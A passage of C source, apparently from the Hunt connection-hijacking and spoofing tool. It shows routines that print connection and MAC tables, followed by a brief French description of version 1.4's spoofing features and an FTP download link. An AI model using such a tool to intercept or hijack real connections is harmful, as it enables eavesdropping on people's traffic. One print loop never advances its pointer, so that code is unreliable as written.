b += sprintf_eth_mac(b, ci->src.src_mac);
b += fill_space_to(b, b -
b_old, 45);
b += sprintf(b, " src mac=");
b += sprintf_eth_mac(b, ci->dst.src_mac);
b += sprintf(b, "\n");
b_old = b;
b += sprintf(b, "
dst mac=");
b += sprintf_eth_mac(b, ci->src.dst_mac);
b += fill_space_to(b, b -
b_old, 45);
b += sprintf(b, " dst mac=");
b += sprintf_eth_mac(b, ci->dst.dst_mac);
b += sprintf(b, "\n");
}
}
if (uci) {
uci[i].src_addr = ci->src_addr;
uci[i].dst_addr = ci->dst_addr;
uci[i].src_port = ci->src_port;
uci[i].dst_port = ci->dst_port;
}
i++;
}
hash_iter_end(&iter);
hash_unlock(&conn_table);
if (ruci)
*ruci = uci;
if (rbuf)
*rbuf = buf;
return count;
}
void print_mac_table(void)
{
struct hash_iterator hi;
char buf[BUFSIZE];
unsigned int key;
struct mac_info *mi;
int i = 0;
printf("--- mac table ---\n");
hash_iter_set(&hi, &mac_table);
while ((mi = hash_iter_get(&hi, &key)))
{
sprintf_eth_mac(buf, mi->mac);
printf("%-24s %s\n", host_lookup(key,
hl_mode), buf);
if (++i % lines_o == 0)
lines_o_press_key();
}
hash_iter_end(&hi);
}
void print_user_conn_info(struct user_conn_info
*uci, int count)
{
int i, ret;
for (i = 0; i < count; i++) {
ret = printf("%d) %s [%s]", i,
host_lookup(uci->src_addr, hl_mode),
port_lookup(uci->src_port,
hl_mode));
printf("%*s", 25 - ret > 0 ? 20 - ret
: 0, "");
printf(" --> ");
printf("%s [%s]\n",
host_lookup(uci->dst_addr, hl_mode),
port_lookup(uci->dst_port, hl_mode));
}
}
Quoi de plus sur cette version 1.4:
spoofing des cibles qui sont déconnectées ou hors-service et il peut ne pas intercepter certains packets spécifiques.
Où télécharger les Hunt:
ftp://ftp.gncz.cz/pub/linux/hunt